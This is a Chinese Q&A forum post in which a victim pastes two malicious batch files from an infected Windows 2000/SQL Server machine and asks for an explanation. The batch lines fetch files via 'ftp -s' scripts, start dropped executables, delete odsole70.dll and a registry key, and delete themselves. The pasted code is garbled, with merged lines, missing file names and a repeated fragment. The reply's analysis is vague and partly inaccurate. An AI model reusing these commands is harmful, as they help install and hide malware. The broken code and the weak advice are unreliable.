分类：电脑/网络-反病毒
问题：求高手详解两个BAT文件是什么意思.怎么防犯.机子系统是WIN2 
机子系统是WIN2000.装有SQL2000.360打了全补丁.机子设置了登陆密码.用360杀完木马.可还是有木马.在里发现了两个BAT.我把属性改成TXT的了.高手给我详细分析下.第一个.CC.BATftp -s: sstart C:\cc.exeping -n 10  start C:\cc.exedel  snet stop mssqlserverdel C:\Program Files\Microsoft SQL Server\MSSQL\binn\odsole70.dlldel D:\Program Files\Micro机子系统是WIN2000.装有SQL2000.360打了全补丁.机子设置了登陆密码.用360杀完木马.可还是有木马.在里发现了两个BAT.我把属性改成TXT的了.高手给我详细分析下.第一个.CC.BATftp -s: sstart C:\cc.exeping -n 10  start C:\cc.exedel  snet stop mssqlserverdel C:\Program Files\Microsoft SQL Server\MSSQL\binn\odsole70.dlldel D:\Program Files\Microsoft SQL Server\MSSQL\Binn\odsole70.dlldel E:\Program Files\Microsoft SQL Server\MSSQL\Binn\odsole70.dllnet start mssqlserverdel %0第二个. treg delete  "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\currentversion\image file execution options\ftp.exe"  /fftp -s:C:\WINNT\debug\ sstart C:\WINNT\debug\a.exestart C:\WINNT\debug\b.exedel C:\WINNT\debug\ sdel C:\WINNT\debug\ t高手能详细说明一下.这些步骤的意思吗.还有我把这些文件删了.一会又会自动出现.我估计是被人入侵了.是SQL注入吗.怎么防范呀???????
回答：这个是dos中的批处理文件呀，你一旦电脑启动之后，他就会在特定的时间发作的，
你这些病毒是说启动之后，访问ftp，然后开启你c盘中的一个文件（病毒文件）然后在访问你的电脑，将病毒注入你电脑，之后再关闭，让你找不到他
你的第一个病毒文件就跟我上面说的差不多
第二个病毒多了一点，他还改了你的注册表你的项
防的话，我交你一个土办法，这个办法虽然说不是太高科技，但是挺管用的，只是有点麻烦呀
先新建一个文本，或者是文件夹，
把病毒的名字给复制下来，记住，你先开始说把他删除可以，但是过一会就又出来了，那你就在这个过一会又出来的空档你，把你的复制下来的这个名字重命名到你新建的那个文本或者是文件夹，这样的话，那病毒就会因为有相同的文件名的原因而不能重新的自动复制出来，但是这个办法只是治标不能治本，你在重命名之后，就会有充足的时间找到那个病毒的源文件，将它杀了就行了，或者不找到他的话也行，反正他又不会启动了，记住连他的扩展名也要复制下来呀